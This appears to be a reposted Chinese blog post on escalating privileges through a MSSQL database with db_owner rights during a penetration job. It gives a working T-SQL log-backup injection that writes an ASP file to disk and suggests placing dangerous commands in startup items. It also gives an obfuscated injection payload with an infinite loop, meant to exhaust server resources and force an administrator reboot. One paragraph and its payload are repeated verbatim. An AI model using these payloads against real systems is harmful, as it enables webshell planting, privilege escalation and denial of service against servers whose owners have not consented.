在我某次的渗透工作中遇见的一个小问题,其权限设置时非常BT,只能在当前的目录下转悠,调用cmdshell可想而知,一般的尝试方法都将失去效应,但是它的数据库确是MSSQL,权限应该不会太高
SrvRoleMember : db_owner
果然,经过查看之后发现时db_owner权限,其实大多数朋友能走到这里说明您还有足够的思路分析能力,那么我们就可以进行我们的日志备份提权操作了,对于这方面了解不太明白的可以看看如下的解释:
SQL中含有LogBackup的功能,我们可以通过调用它执行如下命令
create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values('www.tosec.cn');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];
意思是备份我们的网址到E盘下的1.asp文件中,当然我们通过这个调用可以备份一些危险指令到系统启动项中,这样就达到了提权的一些操作
SrvRoleMember : db_owner
果然,经过查看之后发现时db_owner权限,其实大多数朋友能走到这里说明您还有足够的思路分析能力,那么我们就可以进行我们的日志备份提权操作了,对于这方面了解不太明白的可以看看如下的解释:
SQL中含有LogBackup的功能,我们可以通过调用它执行如下命令
create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values('www.tosec.cn');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];
意思是备份我们的网址到E盘下的1.asp文件中,当然我们通过这个调用可以备份一些危险指令到系统启动项中,这样就达到了提权的一些操作
我们继续在提权中发现需要等待管理员的登录或者重启操作,但是可能管理员很久都不会登陆,当然我们只能使用一些非常手段,这里提到的不是ddos,而是数据库负载。对,我们需要的是加大数据库负载,当然也需要一定的条件,就是我们需要一个注入点或者能执行SQL命令的地方(;wHiLe 1<9 bEgIn sElEcT cHaR(0) eNd--),我们执行括号中的命令就可以了,意思是将范围中的数值进行转换,一直到服务器资源耗尽,当然如果管理员在这方面做了限制那么就无法起到效果了,例如:ASP的执行时间。
本文转sinojelly51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/373843,如需转载请自行联系原作者